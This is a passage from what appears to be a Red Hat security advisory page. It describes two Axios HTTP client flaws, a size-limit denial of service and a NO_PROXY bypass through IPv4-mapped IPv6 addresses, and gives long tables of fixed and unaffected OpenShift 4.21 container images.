| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not properly normalize IPv4-mapped IPv6 addresses. When a NO_PROXY setting is configured to block direct access to specific IPv4 addresses, an attacker can bypass this restriction by using the IPv4-mapped IPv6 form of the address in a request URL. This allows the request to be routed through the proxy, potentially exposing internal services or sensitive information that should otherwise be inaccessible.
8.6 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
82 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64 | — |
Workaround
|
|
